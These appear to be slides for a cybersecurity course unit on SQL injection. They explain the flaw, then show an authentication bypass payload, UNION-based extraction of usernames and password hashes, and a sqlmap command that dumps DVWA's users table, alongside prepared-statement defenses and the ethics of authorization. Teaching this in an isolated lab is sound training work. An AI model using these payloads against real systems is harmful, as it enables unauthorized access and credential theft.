

SQL Injection

Unit 12 — How One Quote Can Dump a Database

A single quote in the wrong place can read an entire database — and one line of code can stop it. Let's see both sides.

Learning objectives

By the end of this unit you can:

- **Define** a database and SQL, and write a simple `SELECT ... WHERE` query in plain terms.
- **Explain** how a web app turns user input into a query — and why that's dangerous.
- **Describe** SQL injection as "untrusted input changing the meaning of a query."
- **Perform** an authentication bypass (`' OR '1'='1'`) and **explain** why it works.
- **Demonstrate** UNION-based extraction and **distinguish** error-based from blind SQLi.
- **Use** `sqlmap` responsibly against a **lab-only** target.
- **Recommend** layered defenses — **prepared statements**, input validation, least ₂ privilege.

Databases & SQL in 60 seconds

- A **database** stores data in **tables** — columns are fields, rows are records.
- **SQL** (Structured Query Language) is how you ask a database questions.

```
SELECT name FROM users WHERE name = 'Maya';
```

- **SELECT** = read data · **WHERE** = filter which rows come back.

Where the bug lives

A web login builds a query by **gluing your input into a SQL string**:

```
SELECT * FROM users  
WHERE name = 'YOU_TYPE_THIS' AND pass = 'AND_THIS';
```

The app can't tell **your data** from **SQL commands** if it just pastes input into the query.

That confusion *is* SQL injection: **untrusted input changes the meaning of the query.**

Authentication bypass: ' OR '1'='1

```
-- Intended query:  
... WHERE name = 'Maya' AND pass = 'secret';  
  
-- Attacker types: ' OR '1'='1' --  
... WHERE name = '' OR '1'='1' -- ' AND pass = '...';
```

(lab-only demonstration)

- The leading `'` **closes** the app's string.
- `OR '1'='1'` is **always true** → the filter no longer filters.
- `--` **comments out** the rest (the password check).

Pulling data out: UNION

A **UNION** attaches a **second query's results** to the app's results — both must return the **same number of columns**.

```
-- find the column count
1' ORDER BY 2 -- -           -- works
1' ORDER BY 3 -- -           -- errors → 2 columns

-- extract real data
1' UNION SELECT user, password FROM users -- -
```

(lab-only demonstration)

Now the page displays **usernames and password hashes** — the whole

Error-based vs blind SQLi (awareness)

Style	How data comes out
Error-based	Data leaks through the database's error messages
Blind	No visible output — ask true/false questions, watch the page or its timing change

- That  that triggered an error in the lab? That's the **error-based** idea.
- If there were no errors and no output, you'd go **blind**.

Automating with sqlmap (lab-only)

`sqlmap` finds and exploits SQLi automatically — it does by tool what you just did by hand.

```
sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit" \  
--cookie="PHPSESSID=<session>; security=low" --batch -D dvwa -T users --dump
```

It is **loud, powerful, and dangerous if misused**. Point it **ONLY** at the approved lab target — never anything else.



Defense: prepared statements

stop it

The single most direct fix: input is sent as **data**, never mixed into the SQL text.

```
// Vulnerable (Low): input glued straight in
$q = "SELECT ... WHERE user_id = '$id'";

// Fixed (Impossible): bound parameter
$stmt = $pdo->prepare("SELECT ... WHERE user_id = :id");
$stmt->execute([':id' => $id]);
```

With a prepared statement, your quote is just a **harmless character** — it can't change the query's meaning.

Defense in depth

Layer	What it does
Prepared statements	Input is data, never code — primary fix
Input validation	Reject input that isn't the expected type/format
Least privilege	The app's DB account can't read every table — limits the damage

Prepared statements stop the injection; validation and least privilege limit the blast radius if anything slips through.

Ethics & Authorization

SQL injection is not a gray area.

Pointing SQLi — or `sqlmap` — at any database you don't own or have **written permission** to test is a crime under the **CFAA** and state law. It can destroy real data and real people's privacy.

Targets are **DVWA and authorized TryHackMe rooms ONLY** — apps built to be broken, in an **isolated lab**. Never a real site.

Key vocabulary

Term	Meaning
Database / Table	Organized data store / a grid of rows & columns
SQL / Query	The language to ask a DB / one request to it
SELECT / WHERE	Read data / filter which rows return
SQL injection	Untrusted input changes a query's meaning
Authentication bypass	Tricking a login without valid credentials
UNION-based	Append attacker data to the results
Error-based / Blind	Leak via errors / infer via true-false & timing
sqlmap	Automated SQLi tool (lab-only)
Prepared statement	Input sent as data , never as code



Lab launch

Platform: DVWA (Damn Vulnerable Web Application) + Kali / AttackBox

- Confirm the lab is **isolated**, log in, set Security to **Low**.
- `'` to prove the field is **injectable** → `1' OR '1'='1` to **dump all users**.
- `ORDER BY` to count columns → `UNION SELECT user, password FROM users -- -`.
- Run `sqlmap` against the **DVWA target only** to see the automation.
- Raise Security to **High/Impossible**, watch it fail, and **View Source** to see the prepared statement.

Scope statement first: *"I am authorized to test only DVWA inside the isolated class lab."*

Document it: the finding writeup

Every injection you ran is **evidence** for a report. A good finding has:

1. **Description** — what the vulnerability is
2. **Reproduction steps** — the exact payloads
3. **Evidence** — screenshots (the  error, the user dump, the source diff)
4. **Impact** — full credential disclosure → **High / Critical**
5. **Remediation** — **use prepared statements** (+ validation, least privilege)

A finding without a **remediation** is not finished.

Recap

- SQLi = **untrusted input changes the meaning of a query.**
- `' OR '1'='1'` works because it makes the `WHERE` filter **always true**.
- **UNION** extracts data; **error-based/blind** are other styles; **sqlmap** automates it.
- The one direct fix: **prepared statements** (input as data, not code).
- Defense in depth: + **input validation** + **least privilege**.

Exit ticket & discussion

1. In your own words, why does `' OR '1'='1'` let someone in without a password?
2. Which single defense most directly stops SQL injection, and **why**?
3. **Discuss:** Why does a prepared statement defeat injection when input validation **alone** might not?

Next up — Module 3 web-vuln writeup project (your SQLi finding feeds it!)